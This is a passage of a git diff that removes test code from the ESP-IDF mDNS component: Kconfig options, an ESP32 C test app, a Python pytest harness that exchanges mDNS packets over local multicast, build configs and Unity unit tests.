Enable publishing a delegated host other than ESP32. - The example will also add a mock service for this host. - - config TEST_MDNS_ADD_MAC_TO_HOSTNAME - bool "Add mac suffix to hostname" - default n - help - If enabled, a portion of MAC address is added to the hostname, this is used - for evaluation of tests in CI - config MDNS_ADD_MAC_TO_HOSTNAME - bool "Add mac suffix to hostname" - default n - help - If enabled, a portion of MAC address is added to the hostname, this is used - for evaluation of tests in CI - config MDNS_PUBLISH_DELEGATE_HOST - bool "Publish a delegated host" - help - Enable publishing a delegated host other than ESP32. - The example will also add a mock service for this host. - - -endmenu diff --git a/components/mdns/tests/test_apps/main/idf_component.yml b/components/mdns/tests/test_apps/main/idf_component.yml deleted file mode 100644 index e9277dfc..00000000 --- a/components/mdns/tests/test_apps/main/idf_component.yml +++ /dev/null @@ -1,8 +0,0 @@ -dependencies: - ## Required IDF version - idf: ">=5.0" - espressif/mdns: - version: "^1.0.0" - override_path: "../../../" - protocol_examples_common: - path: ${IDF_PATH}/examples/common_components/protocol_examples_common diff --git a/components/mdns/tests/test_apps/main/main.c b/components/mdns/tests/test_apps/main/main.c deleted file mode 100644 index e67014ce..00000000 --- a/components/mdns/tests/test_apps/main/main.c +++ /dev/null @@ -1,117 +0,0 @@ -/* - * SPDX-FileCopyrightText: 2022-2023 Espressif Systems (Shanghai) CO LTD - * - * SPDX-License-Identifier: Apache-2.0 - */ -#include -#include -#include "esp_mac.h" -#include "nvs_flash.h" -#include "esp_event.h" -#include "esp_netif.h" -#include "esp_log.h" -#include "protocol_examples_common.h" -#include "mdns.h" - -static const char *TAG = "mdns_test"; -void mdns_test(char *line); - -static void get_string(char *line, size_t size) -{ - int count = 0; - while (count < size) { - int c = fgetc(stdin); - if (c == '\n') { - line[count] = '\0'; - break; - } else if (c > 0 && c < 127) { - line[count] = c; - ++count; - } - vTaskDelay(20 / portTICK_PERIOD_MS); - } -} - -/** Generate host name based on sdkconfig, optionally adding a portion of MAC address to it. - * @return host name string allocated from the heap - */ -static char *generate_hostname(void) -{ -#ifndef CONFIG_TEST_MDNS_ADD_MAC_TO_HOSTNAME - return strdup(CONFIG_TEST_MDNS_HOSTNAME); -#else - uint8_t mac[6]; - char *hostname; - esp_read_mac(mac, ESP_MAC_WIFI_STA); - if (-1 == asprintf(&hostname, "%s-%02X%02X%02X", CONFIG_TEST_MDNS_HOSTNAME, mac[3], mac[4], mac[5])) { - abort(); - } - return hostname; -#endif -} - -static void initialise_mdns(void) -{ - char *hostname = generate_hostname(); - - //initialize mDNS - ESP_ERROR_CHECK( mdns_init() ); - - //set mDNS hostname (required if you want to advertise services) - ESP_ERROR_CHECK( mdns_hostname_set(hostname) ); - - ESP_LOGI(TAG, "mdns hostname set to: [%s]", hostname); - //set default mDNS instance name - ESP_ERROR_CHECK( mdns_instance_name_set(CONFIG_TEST_MDNS_INSTANCE) ); - - //initialize service - ESP_ERROR_CHECK( mdns_service_add("ESP32-WebServer", "_http", "_tcp", 80, NULL, 0) ); - -#if CONFIG_TEST_MDNS_PUBLISH_DELEGATE_HOST - char *delegated_hostname; - if (-1 == asprintf(&delegated_hostname, "%s-delegated", hostname)) { - abort(); - } - - mdns_ip_addr_t addr4, addr6; - esp_netif_str_to_ip4("10.0.0.1", &addr4.addr.u_addr.ip4); - addr4.addr.type = ESP_IPADDR_TYPE_V4; - esp_netif_str_to_ip6("fd11:22::1", &addr6.addr.u_addr.ip6); - addr6.addr.type = ESP_IPADDR_TYPE_V6; - addr4.next = &addr6; - addr6.next = NULL; - ESP_ERROR_CHECK( mdns_delegate_hostname_add(delegated_hostname, &addr4) ); - ESP_ERROR_CHECK( mdns_service_add_for_host("test0", "_http", "_tcp", delegated_hostname, 1234, NULL, 0) ); - free(delegated_hostname); -#endif // CONFIG_TEST_MDNS_PUBLISH_DELEGATE_HOST - - ESP_ERROR_CHECK( mdns_service_subtype_add_for_host("ESP32-WebServer", "_http", "_tcp", NULL, "_server") ); - - free(hostname); -} - -void app_main(void) -{ - ESP_LOGI(TAG, "[APP] Free memory: %" PRIu32 " bytes", esp_get_free_heap_size()); - ESP_LOGI(TAG, "[APP] IDF version: %s", esp_get_idf_version()); - - ESP_ERROR_CHECK(nvs_flash_init()); - ESP_ERROR_CHECK(esp_netif_init()); - ESP_ERROR_CHECK(esp_event_loop_create_default()); - - initialise_mdns(); - - /* This helper function configures Wi-Fi or Ethernet, as selected in menuconfig. - * Read "Establishing Wi-Fi or Ethernet Connection" section in - * examples/protocols/README.md for more information about this function. - */ - ESP_ERROR_CHECK(example_connect()); - - while (1) { - char line[256]; - - get_string(line, sizeof(line)); - mdns_test(line); - continue; - } -} diff --git a/components/mdns/tests/test_apps/main/mdns_test.c b/components/mdns/tests/test_apps/main/mdns_test.c deleted file mode 100644 index 06df424f..00000000 --- a/components/mdns/tests/test_apps/main/mdns_test.c +++ /dev/null @@ -1,189 +0,0 @@ -/* - * SPDX-FileCopyrightText: 2021-2022 Espressif Systems (Shanghai) CO LTD - * - * SPDX-License-Identifier: Apache-2.0 - */ -#include -#include "freertos/FreeRTOS.h" -#include "freertos/task.h" -#include "mdns.h" -#include "esp_log.h" -#include "esp_netif.h" - -static const char *TAG = "mdns_test_app"; -static const int RETRY_COUNT = 10; - -static void mdns_print_results(mdns_result_t *results) -{ - mdns_result_t *r = results; - mdns_ip_addr_t *a = NULL; - int t; - while (r) { - if (r->instance_name) { - printf("PTR:%s.%s.%s\n", r->instance_name, r->service_type, r->proto); - } - if (r->hostname) { - printf("SRV:%s.local:%u\n", r->hostname, r->port); - } - if (r->txt_count) { - printf("TXT:[%zu] ", r->txt_count); - for (t = 0; t < r->txt_count; t++) { - printf("%s=%s(%d); ", r->txt[t].key, r->txt[t].value ? r->txt[t].value : "NULL", r->txt_value_len[t]); - } - printf("\n"); - } - a = r->addr; - while (a) { - if (a->addr.type == ESP_IPADDR_TYPE_V6) { - printf(" AAAA: " IPV6STR "\n", IPV62STR(a->addr.u_addr.ip6)); - } else { - printf(" A : " IPSTR "\n", IP2STR(&(a->addr.u_addr.ip4))); - } - a = a->next; - } - r = r->next; - } -} - -static bool check_and_print_result(mdns_search_once_t *search) -{ - // Check if any result is available - mdns_result_t *result = NULL; - if (!mdns_query_async_get_results(search, 0, &result, NULL)) { - return false; - } - - if (!result) { // search timeout, but no result - return false; - } - - // If yes, print the result - mdns_ip_addr_t *a = result->addr; - while (a) { - if (a->addr.type == ESP_IPADDR_TYPE_V6) { - printf("Async query resolved to AAAA:" IPV6STR "\n", IPV62STR(a->addr.u_addr.ip6)); - } else { - printf("Async query resolved to A:" IPSTR "\n", IP2STR(&(a->addr.u_addr.ip4))); - } - a = a->next; - } - // and free the result - mdns_query_results_free(result); - return true; -} - -static bool query_mdns_hosts_async(const char *host_name) -{ - ESP_LOGI(TAG, "Query both A and AAA: %s.local", host_name); - bool res = false; - - mdns_search_once_t *s_a = mdns_query_async_new(host_name, NULL, NULL, MDNS_TYPE_A, 1000, 1, NULL); - mdns_query_async_delete(s_a); - mdns_search_once_t *s_aaaa = mdns_query_async_new(host_name, NULL, NULL, MDNS_TYPE_AAAA, 1000, 1, NULL); - while (s_a || s_aaaa) { - if (s_a && check_and_print_result(s_a)) { - ESP_LOGI(TAG, "Query A %s.local finished", host_name); - mdns_query_async_delete(s_a); - s_a = NULL; - res = true; - } - if (s_aaaa && check_and_print_result(s_aaaa)) { - ESP_LOGI(TAG, "Query AAAA %s.local finished", host_name); - mdns_query_async_delete(s_aaaa); - s_aaaa = NULL; - res = true; - } - } - return res; -} - -static esp_err_t query_mdns_host(const char *host_name) -{ - ESP_LOGI(TAG, "Query A: %s.local", host_name); - - struct esp_ip4_addr addr; - addr.addr = 0; - - esp_err_t err = mdns_query_a(host_name, 2000, &addr); - if (err) { - if (err == ESP_ERR_NOT_FOUND) { - ESP_LOGW(TAG, "%s: Host was not found!", esp_err_to_name(err)); - } - ESP_LOGE(TAG, "Query Failed: %s", esp_err_to_name(err)); - return err; - } - - ESP_LOGI(TAG, "Query A: %s.local resolved to: " IPSTR, host_name, IP2STR(&addr)); - return ESP_OK; -} - -static esp_err_t query_mdns_service(const char *instance, const char *service_name, const char *proto) -{ - ESP_LOGI(TAG, "Query SRV: %s.%s.local", service_name, proto); - - mdns_result_t *results = NULL; - esp_err_t err = mdns_query_srv(instance, service_name, proto, 3000, &results); - if (err) { - ESP_LOGE(TAG, "Query Failed: %s", esp_err_to_name(err)); - return err; - } - if (!results) { - ESP_LOGW(TAG, "No results found!"); - } - - mdns_print_results(results); - mdns_query_results_free(results); - return ESP_OK; -} - -void query_mdns_service_sub_type(const char *subtype, const char *service_name, const char *proto) -{ - ESP_LOGI(TAG, "Query PTR: %s.%s.local", service_name, proto); - - mdns_result_t *results = NULL; - esp_err_t err = mdns_query_ptr(service_name, proto, 3000, 20, &results); - if (err) { - ESP_LOGE(TAG, "Query Failed: %s", esp_err_to_name(err)); - } - if (!results) { - ESP_LOGW(TAG, "No results found!"); - } - - mdns_print_results(results); - mdns_query_results_free(results); -} - -void mdns_test(const char *line) -{ - char test_case[32]; - int i = 0; - const TickType_t xDelay = 1000 / portTICK_PERIOD_MS; - - sscanf(line, "%s", test_case); - ESP_LOGI(TAG, "test case = %s", test_case); - - if (strcmp(test_case, "CONFIG_TEST_QUERY_HOST") == 0) { - i = 0; - while (query_mdns_host("tinytester") != ESP_OK && i != RETRY_COUNT) { - query_mdns_host("tinytester"); - i++; - vTaskDelay(xDelay); - } - } else if (strcmp(test_case, "CONFIG_TEST_QUERY_HOST_ASYNC") == 0) { - i = 0; - while (query_mdns_hosts_async("tinytester") == false && i != RETRY_COUNT) { - query_mdns_hosts_async("tinytester"); - i++; - vTaskDelay(xDelay); - } - } else if (strcmp(test_case, "CONFIG_TEST_QUERY_SERVICE") == 0) { - i = 0; - while (query_mdns_service("ESP32", "_http", "_tcp") != ESP_OK && i != RETRY_COUNT) { - query_mdns_service("ESP32", "_http", "_tcp"); - i++; - vTaskDelay(xDelay); - } - } else { - ESP_LOGE(TAG, "%s: No such test case", test_case); - } -} diff --git a/components/mdns/tests/test_apps/pytest_mdns_app.py b/components/mdns/tests/test_apps/pytest_mdns_app.py deleted file mode 100644 index 2b04cb75..00000000 --- a/components/mdns/tests/test_apps/pytest_mdns_app.py +++ /dev/null @@ -1,320 +0,0 @@ -# SPDX-FileCopyrightText: 2022 Espressif Systems (Shanghai) CO LTD -# SPDX-License-Identifier: Apache-2.0 - -import re -import select -import socket -import struct -import time -from threading import Event, Thread - -import dpkt -import dpkt.dns -import pytest - -UDP_PORT = 5353 -MCAST_GRP = '224.0.0.251' - -# This service is created from esp board startup -SERVICE_NAME = u'ESP32-WebServer._http._tcp.local' -SUB_SERVICE_NAME = u'_server._sub._http._tcp.local' - -# This host name answer sent by host, when there is query from board -HOST_NAME = u'tinytester.local' - -# This servce answer sent by host, when there is query from board -MDNS_HOST_SERVICE = u'ESP32._http._tcp.local' - -# Number of retries to receive mdns answear -RETRY_COUNT = 10 - -stop_mdns_listener = Event() -start_mdns_listener = Event() -esp_service_answered = Event() -esp_sub_service_answered = Event() -esp_host_answered = Event() -esp_delegated_host_answered = Event() - - -@pytest.mark.skip -# Get query of ESP32-WebServer._http._tcp.local service -def get_mdns_service_query(service): # type:(str) -> dpkt.dns.Msg - dns = dpkt.dns.DNS() - dns.op = dpkt.dns.DNS_QR | dpkt.dns.DNS_AA - dns.rcode = dpkt.dns.DNS_RCODE_NOERR - arr = dpkt.dns.DNS.RR() - arr.cls = dpkt.dns.DNS_IN - arr.type = dpkt.dns.DNS_SRV - arr.name = service - arr.target = socket.inet_aton('127.0.0.1') - arr.srvname = service - dns.qd.append(arr) - print('Created mdns service query: {} '.format(dns.__repr__())) - return dns.pack() - - -@pytest.mark.skip -# Get query of _server_.sub._http._tcp.local sub service -def get_mdns_sub_service_query(sub_service): # type:(str) -> dpkt.dns.Msg - dns = dpkt.dns.DNS() - dns.op = dpkt.dns.DNS_QR | dpkt.dns.DNS_AA - dns.rcode = dpkt.dns.DNS_RCODE_NOERR - arr = dpkt.dns.DNS.RR() - arr.cls = dpkt.dns.DNS_IN - arr.type = dpkt.dns.DNS_PTR - arr.name = sub_service - arr.target = socket.inet_aton('127.0.0.1') - arr.ptrname = sub_service - dns.qd.append(arr) - print('Created mdns subtype service query: {} '.format(dns.__repr__())) - return dns.pack() - - -@pytest.mark.skip -# Get query for host resolution -def get_dns_query_for_esp(esp_host): # type:(str) -> dpkt.dns.Msg - dns = dpkt.dns.DNS() - arr = dpkt.dns.DNS.RR() - arr.cls = dpkt.dns.DNS_IN - arr.name = esp_host + u'.local' - dns.qd.append(arr) - print('Created query for esp host: {} '.format(dns.__repr__())) - return dns.pack() - - -@pytest.mark.skip -# Get mdns answer for host resoloution -def get_dns_answer_to_mdns(tester_host): # type:(str) -> dpkt.dns.Msg - dns = dpkt.dns.DNS() - dns.op = dpkt.dns.DNS_QR | dpkt.dns.DNS_AA - dns.rcode = dpkt.dns.DNS_RCODE_NOERR - arr = dpkt.dns.DNS.RR() - arr.cls = dpkt.dns.DNS_IN - arr.type = dpkt.dns.DNS_A - arr.name = tester_host - arr.ip = socket.inet_aton('127.0.0.1') - dns.an.append(arr) - print('Created answer to mdns query: {} '.format(dns.__repr__())) - return dns.pack() - - -@pytest.mark.skip -# Get mdns answer for service query -def get_dns_answer_to_service_query( - mdns_service): # type:(str) -> dpkt.dns.Msg - dns = dpkt.dns.DNS() - dns.op = dpkt.dns.DNS_QR | dpkt.dns.DNS_AA - dns.rcode = dpkt.dns.DNS_RCODE_NOERR - arr = dpkt.dns.DNS.RR() - arr.name = mdns_service - arr.cls = dpkt.dns.DNS_IN - arr.type = dpkt.dns.DNS_SRV - arr.priority = 0 - arr.weight = 0 - arr.port = 100 - arr.srvname = mdns_service - arr.ip = socket.inet_aton('127.0.0.1') - dns.an.append(arr) - print('Created answer to mdns query: {} '.format(dns.__repr__())) - return dns.pack() - - -@pytest.mark.skip -def mdns_listener(esp_host): # type:(str) -> None - print('mdns_listener thread started') - - UDP_IP = '0.0.0.0' - sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1) - sock.setblocking(False) - sock.bind((UDP_IP, UDP_PORT)) - mreq = struct.pack('4sl', socket.inet_aton(MCAST_GRP), socket.INADDR_ANY) - sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq) - last_query_timepoint = time.time() - QUERY_TIMEOUT = 0.2 - while not stop_mdns_listener.is_set(): - try: - start_mdns_listener.set() - current_time = time.time() - if current_time - last_query_timepoint > QUERY_TIMEOUT: - last_query_timepoint = current_time - timeout = max( - 0, QUERY_TIMEOUT - (current_time - last_query_timepoint)) - read_socks, _, _ = select.select([sock], [], [], timeout) - if not read_socks: - continue - data, _ = sock.recvfrom(1024) - dns = dpkt.dns.DNS(data) - # Receives queries from esp board and sends answers - if len(dns.qd) > 0: - if dns.qd[0].name == HOST_NAME: - print('Received query: {} '.format(dns.__repr__())) - sock.sendto(get_dns_answer_to_mdns(HOST_NAME), - (MCAST_GRP, UDP_PORT)) - if dns.qd[0].name == HOST_NAME: - print('Received query: {} '.format(dns.__repr__())) - sock.sendto(get_dns_answer_to_mdns(HOST_NAME), - (MCAST_GRP, UDP_PORT)) - if dns.qd[0].name == MDNS_HOST_SERVICE: - print('Received query: {} '.format(dns.__repr__())) - sock.sendto( - get_dns_answer_to_service_query(MDNS_HOST_SERVICE), - (MCAST_GRP, UDP_PORT)) - # Receives answers from esp board and sets event flags for python test cases - if len(dns.an) == 1: - if dns.an[0].name.startswith(SERVICE_NAME): - print('Received answer to service query: {}'.format( - dns.__repr__())) - esp_service_answered.set() - if len(dns.an) > 1: - if dns.an[1].name.startswith(SUB_SERVICE_NAME): - print('Received answer for sub service query: {}'.format( - dns.__repr__())) - esp_sub_service_answered.set() - if len(dns.an) > 0 and dns.an[0].type == dpkt.dns.DNS_A: - if dns.an[0].name == esp_host + u'.local': - print('Received answer to esp32-mdns query: {}'.format( - dns.__repr__())) - esp_host_answered.set() - if dns.an[0].name == esp_host + u'-delegated.local': - print('Received answer to esp32-mdns-delegate query: {}'. - format(dns.__repr__())) - esp_delegated_host_answered.set() - except socket.timeout: - break - except dpkt.UnpackError: - continue - - -@pytest.mark.skip -def create_socket(): # type:() -> socket.socket - UDP_IP = '0.0.0.0' - sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1) - sock.setblocking(False) - sock.bind((UDP_IP, UDP_PORT)) - mreq = struct.pack('4sl', socket.inet_aton(MCAST_GRP), socket.INADDR_ANY) - sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq) - return sock - - -@pytest.mark.skip -def test_query_dns_http_service(service): # type: (str) -> None - print('SRV: Query {}'.format(service)) - sock = create_socket() - packet = get_mdns_service_query(service) - for _ in range(RETRY_COUNT): - if esp_service_answered.wait(timeout=25): - break - sock.sendto(packet, (MCAST_GRP, UDP_PORT)) - else: - raise RuntimeError( - 'Test has failed: did not receive mdns answer within timeout') - - -@pytest.mark.skip -def test_query_dns_sub_service(sub_service): # type: (str) -> None - print('PTR: Query {}'.format(sub_service)) - sock = create_socket() - packet = get_mdns_sub_service_query(sub_service) - for _ in range(RETRY_COUNT): - if esp_sub_service_answered.wait(timeout=25): - break - sock.sendto(packet, (MCAST_GRP, UDP_PORT)) - else: - raise RuntimeError( - 'Test has failed: did not receive mdns answer within timeout') - - -@pytest.mark.skip -def test_query_dns_host(esp_host): # type: (str) -> None - print('A: {}'.format(esp_host)) - sock = create_socket() - packet = get_dns_query_for_esp(esp_host) - for _ in range(RETRY_COUNT): - if esp_host_answered.wait(timeout=25): - break - sock.sendto(packet, (MCAST_GRP, UDP_PORT)) - else: - raise RuntimeError( - 'Test has failed: did not receive mdns answer within timeout') - - -@pytest.mark.skip -def test_query_dns_host_delegated(esp_host): # type: (str) -> None - print('A: {}'.format(esp_host)) - sock = create_socket() - packet = get_dns_query_for_esp(esp_host + '-delegated') - for _ in range(RETRY_COUNT): - if esp_delegated_host_answered.wait(timeout=25): - break - sock.sendto(packet, (MCAST_GRP, UDP_PORT)) - else: - raise RuntimeError( - 'Test has failed: did not receive mdns answer within timeout') - - -@pytest.mark.esp32 -@pytest.mark.esp32s2 -@pytest.mark.esp32c3 -@pytest.mark.generic -def test_app_esp_mdns(dut): - - # 1. get the dut host name (and IP address) - specific_host = dut.expect( - re.compile(b'mdns hostname set to: \[([^\]]+)\]'), # noqa: W605 - timeout=30).group(1).decode() - - esp_ip = dut.expect( - re.compile( - b' IPv4 address: ([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)'), # noqa: W605 - timeout=30).group(1).decode() - print('Got IP={}'.format(esp_ip)) - - mdns_responder = Thread(target=mdns_listener, args=(str(specific_host), )) - - def start_case(case, desc, result): # type: (str, str, str) -> None - print('Starting {}: {}'.format(case, desc)) - dut.write(case) - res = bytes(result, encoding='utf8') - dut.expect(re.compile(res), timeout=30) - - try: - # start dns listener thread - mdns_responder.start() - - # wait untill mdns listener thred started - if not start_mdns_listener.wait(timeout=5): - raise ValueError( - 'Test has failed: mdns listener thread did not start') - - # query dns service from host, answer should be received from esp board - test_query_dns_http_service(SERVICE_NAME) - - # query dns sub-service from host, answer should be received from esp board - test_query_dns_sub_service(SUB_SERVICE_NAME) - - # query dns host name, answer should be received from esp board - test_query_dns_host(specific_host) - - # query dns host name delegated, answer should be received from esp board - test_query_dns_host_delegated(specific_host) - - # query service from esp board, answer should be received from host - start_case('CONFIG_TEST_QUERY_SERVICE', - 'Query SRV ESP32._http._tcp.local', 'SRV:ESP32') - - # query dns-host from esp board, answer should be received from host - start_case('CONFIG_TEST_QUERY_HOST', 'Query tinytester.local', - 'tinytester.local resolved to: 127.0.0.1') - - # query dns-host aynchrounusely from esp board, answer should be received from host - start_case('CONFIG_TEST_QUERY_HOST_ASYNC', - 'Query tinytester.local async', - 'Async query resolved to A:127.0.0.1') - - finally: - stop_mdns_listener.set() - mdns_responder.join() diff --git a/components/mdns/tests/test_apps/sdkconfig.ci b/components/mdns/tests/test_apps/sdkconfig.ci deleted file mode 100644 index d89171dd..00000000 --- a/components/mdns/tests/test_apps/sdkconfig.ci +++ /dev/null @@ -1,13 +0,0 @@ -CONFIG_IDF_TARGET="esp32" -CONFIG_MDNS_ADD_MAC_TO_HOSTNAME=y -CONFIG_MDNS_PUBLISH_DELEGATE_HOST=y -CONFIG_LWIP_DNS_SUPPORT_MDNS_QUERIES=y -CONFIG_EXAMPLE_CONNECT_ETHERNET=y -CONFIG_EXAMPLE_CONNECT_WIFI=n -CONFIG_EXAMPLE_USE_INTERNAL_ETHERNET=y -CONFIG_EXAMPLE_ETH_PHY_IP101=y -CONFIG_EXAMPLE_ETH_MDC_GPIO=23 -CONFIG_EXAMPLE_ETH_MDIO_GPIO=18 -CONFIG_EXAMPLE_ETH_PHY_RST_GPIO=5 -CONFIG_EXAMPLE_ETH_PHY_ADDR=1 -CONFIG_EXAMPLE_CONNECT_IPV6=y diff --git a/components/mdns/tests/test_apps/sdkconfig.defaults b/components/mdns/tests/test_apps/sdkconfig.defaults deleted file mode 100644 index 0c4ffe91..00000000 --- a/components/mdns/tests/test_apps/sdkconfig.defaults +++ /dev/null @@ -1,2 +0,0 @@ -CONFIG_TEST_MDNS_ADD_MAC_TO_HOSTNAME=y -CONFIG_TEST_MDNS_PUBLISH_DELEGATE_HOST=y diff --git a/components/mdns/tests/unit_test/CMakeLists.txt b/components/mdns/tests/unit_test/CMakeLists.txt deleted file mode 100644 index 450d475e..00000000 --- a/components/mdns/tests/unit_test/CMakeLists.txt +++ /dev/null @@ -1,7 +0,0 @@ -# This is the project CMakeLists.txt file for the test subproject -cmake_minimum_required(VERSION 3.16) - -set(EXTRA_COMPONENT_DIRS ../.. "$ENV{IDF_PATH}/tools/unit-test-app/components") - -include($ENV{IDF_PATH}/tools/cmake/project.cmake) -project(mdns_test) diff --git a/components/mdns/tests/unit_test/main/CMakeLists.txt b/components/mdns/tests/unit_test/main/CMakeLists.txt deleted file mode 100644 index d04d217e..00000000 --- a/components/mdns/tests/unit_test/main/CMakeLists.txt +++ /dev/null @@ -1,5 +0,0 @@ - -idf_component_register(SRCS "test_mdns.c" - REQUIRES test_utils - INCLUDE_DIRS "." - PRIV_REQUIRES unity mdns) diff --git a/components/mdns/tests/unit_test/main/test_mdns.c b/components/mdns/tests/unit_test/main/test_mdns.c deleted file mode 100644 index ff024e2f..00000000 --- a/components/mdns/tests/unit_test/main/test_mdns.c +++ /dev/null @@ -1,299 +0,0 @@ -/* - * SPDX-FileCopyrightText: 2022-2024 Espressif Systems (Shanghai) CO LTD - * - * SPDX-License-Identifier: Unlicense OR CC0-1.0 - */ - -#include -#include "mdns.h" -#include "esp_event.h" -#include "unity.h" -#include "test_utils.h" - -#include "unity_fixture.h" -#include "memory_checks.h" - -#define MDNS_HOSTNAME "test-hostname" -#define MDNS_DELEGATE_HOSTNAME "delegate-hostname" -#define MDNS_INSTANCE "test-instance" -#define MDNS_SERVICE_NAME "_http" -#define MDNS_SERVICE_PROTO "_tcp" -#define MDNS_SERVICE_PORT 80 - -TEST_GROUP(mdns); - -TEST_SETUP(mdns) -{ - test_utils_record_free_mem(); - TEST_ESP_OK(test_utils_set_leak_level(0, ESP_LEAK_TYPE_CRITICAL, ESP_COMP_LEAK_GENERAL)); -} - -TEST_TEAR_DOWN(mdns) -{ - test_utils_finish_and_evaluate_leaks(32, 64); -} - -static void yield_to_all_priorities(void) -{ - // Lower the test-task priority before testing to ensure other tasks got executed on forced context switch - size_t test_task_prio_before = uxTaskPriorityGet(NULL); - vTaskPrioritySet(NULL, tskIDLE_PRIORITY); - taskYIELD(); // Let the RTOS to switch context - vTaskPrioritySet(NULL, test_task_prio_before); -} - - -TEST(mdns, api_fails_with_invalid_state) -{ - TEST_ASSERT_NOT_EQUAL(ESP_OK, mdns_init() ); - TEST_ASSERT_NOT_EQUAL(ESP_OK, mdns_hostname_set(MDNS_HOSTNAME) ); - TEST_ASSERT_NOT_EQUAL(ESP_OK, mdns_instance_name_set(MDNS_INSTANCE) ); - TEST_ASSERT_NOT_EQUAL(ESP_OK, mdns_service_add(MDNS_INSTANCE, MDNS_SERVICE_NAME, MDNS_SERVICE_PROTO, MDNS_SERVICE_PORT, NULL, 0) ); -} - -TEST(mdns, init_deinit) -{ - test_case_uses_tcpip(); - TEST_ASSERT_EQUAL(ESP_OK, esp_event_loop_create_default()); - TEST_ASSERT_EQUAL(ESP_OK, mdns_init() ); - yield_to_all_priorities(); // Make sure that mdns task has executed to complete initialization - mdns_free(); - esp_event_loop_delete_default(); -} - -TEST(mdns, api_fails_with_expected_err) -{ - mdns_txt_item_t serviceTxtData[CONFIG_MDNS_MAX_SERVICES] = { {NULL, NULL}, - }; - mdns_ip_addr_t addr; - addr.addr.type = ESP_IPADDR_TYPE_V4; - addr.addr.u_addr.ip4.addr = esp_ip4addr_aton("127.0.0.1"); - addr.next = NULL; - for (int i = 0; i < CONFIG_MDNS_MAX_SERVICES; ++i) { - serviceTxtData[i].key = "Key"; - serviceTxtData[i].value = "Value"; - } - test_case_uses_tcpip(); - TEST_ASSERT_EQUAL(ESP_OK, esp_event_loop_create_default()); - - TEST_ASSERT_EQUAL(ESP_OK, mdns_init() ); - TEST_ASSERT_EQUAL(ESP_OK, mdns_hostname_set(MDNS_HOSTNAME) ); - TEST_ASSERT_EQUAL(ESP_OK, mdns_delegate_hostname_add(MDNS_DELEGATE_HOSTNAME, &addr) ); - yield_to_all_priorities(); // Make sure that mdns task has executed to add the hostname - TEST_ASSERT_TRUE(mdns_hostname_exists(MDNS_DELEGATE_HOSTNAME) ); - TEST_ASSERT_EQUAL(ESP_OK, mdns_instance_name_set(MDNS_INSTANCE) ); - TEST_ASSERT_EQUAL(ESP_OK, mdns_service_add(MDNS_INSTANCE, MDNS_SERVICE_NAME, MDNS_SERVICE_PROTO, MDNS_SERVICE_PORT, serviceTxtData, CONFIG_MDNS_MAX_SERVICES) ); - TEST_ASSERT_FALSE(mdns_service_exists(MDNS_SERVICE_NAME, MDNS_SERVICE_PROTO, MDNS_DELEGATE_HOSTNAME) ); - TEST_ASSERT_EQUAL(ESP_OK, mdns_service_add_for_host(MDNS_INSTANCE, MDNS_SERVICE_NAME, MDNS_SERVICE_PROTO, MDNS_DELEGATE_HOSTNAME, - MDNS_SERVICE_PORT, serviceTxtData, CONFIG_MDNS_MAX_SERVICES) ); - TEST_ASSERT_TRUE(mdns_service_exists(MDNS_SERVICE_NAME, MDNS_SERVICE_PROTO, MDNS_DELEGATE_HOSTNAME) ); - TEST_ASSERT_EQUAL(ESP_OK, mdns_service_txt_set(MDNS_SERVICE_NAME, MDNS_SERVICE_PROTO, serviceTxtData, CONFIG_MDNS_MAX_SERVICES) ); - TEST_ASSERT_EQUAL(ESP_OK, mdns_service_txt_item_set(MDNS_SERVICE_NAME, MDNS_SERVICE_PROTO, "key1", "value1") ); - TEST_ASSERT_EQUAL(ESP_OK, mdns_service_txt_item_remove(MDNS_SERVICE_NAME, MDNS_SERVICE_PROTO, "key1") ); - TEST_ASSERT_EQUAL(ESP_OK, mdns_service_port_set(MDNS_SERVICE_NAME, MDNS_SERVICE_PROTO, 8080) ); - yield_to_all_priorities(); // to remove the service with the updated txt records - TEST_ASSERT_EQUAL(ESP_OK, mdns_service_remove(MDNS_SERVICE_NAME, MDNS_SERVICE_PROTO) ); - yield_to_all_priorities(); // Make sure that mdns task has executed to remove the service - - TEST_ASSERT_EQUAL(ESP_OK, mdns_service_add(MDNS_INSTANCE, MDNS_SERVICE_NAME, MDNS_SERVICE_PROTO, MDNS_SERVICE_PORT, NULL, 0) ); - TEST_ASSERT_EQUAL(ESP_OK, mdns_delegate_hostname_remove(MDNS_DELEGATE_HOSTNAME) ); - yield_to_all_priorities(); // Make sure that mdns task has executed to remove the hostname - TEST_ASSERT_FALSE(mdns_service_exists(MDNS_SERVICE_NAME, MDNS_SERVICE_PROTO, MDNS_DELEGATE_HOSTNAME) ); - TEST_ASSERT_EQUAL(ESP_OK, mdns_service_remove_all() ); - yield_to_all_priorities(); // Make sure that mdns task has executed to remove all services - - TEST_ASSERT_EQUAL(ESP_ERR_INVALID_ARG, mdns_service_port_set(MDNS_SERVICE_NAME, MDNS_SERVICE_PROTO, 8080) ); - - mdns_free(); - esp_event_loop_delete_default(); -} - -TEST(mdns, query_api_fails_with_expected_err) -{ - mdns_result_t *results = NULL; - esp_ip6_addr_t addr6; - esp_ip4_addr_t addr4; - test_case_uses_tcpip(); - TEST_ASSERT_EQUAL(ESP_OK, esp_event_loop_create_default()); - - TEST_ASSERT_EQUAL(ESP_OK, mdns_init() ); - // check it is not possible to register a service or set an instance without configuring the hostname - TEST_ASSERT_EQUAL(ESP_ERR_INVALID_ARG, mdns_service_add(MDNS_INSTANCE, MDNS_SERVICE_NAME, MDNS_SERVICE_PROTO, MDNS_SERVICE_PORT, NULL, 0)); - TEST_ASSERT_EQUAL(ESP_ERR_INVALID_ARG, mdns_instance_name_set(MDNS_INSTANCE)); - TEST_ASSERT_EQUAL(ESP_OK, mdns_hostname_set(MDNS_HOSTNAME)); - // hostname is set, now adding a service and instance should succeed - TEST_ASSERT_EQUAL(ESP_OK, mdns_service_add(MDNS_INSTANCE, MDNS_SERVICE_NAME, MDNS_SERVICE_PROTO, MDNS_SERVICE_PORT, NULL, 0)); - 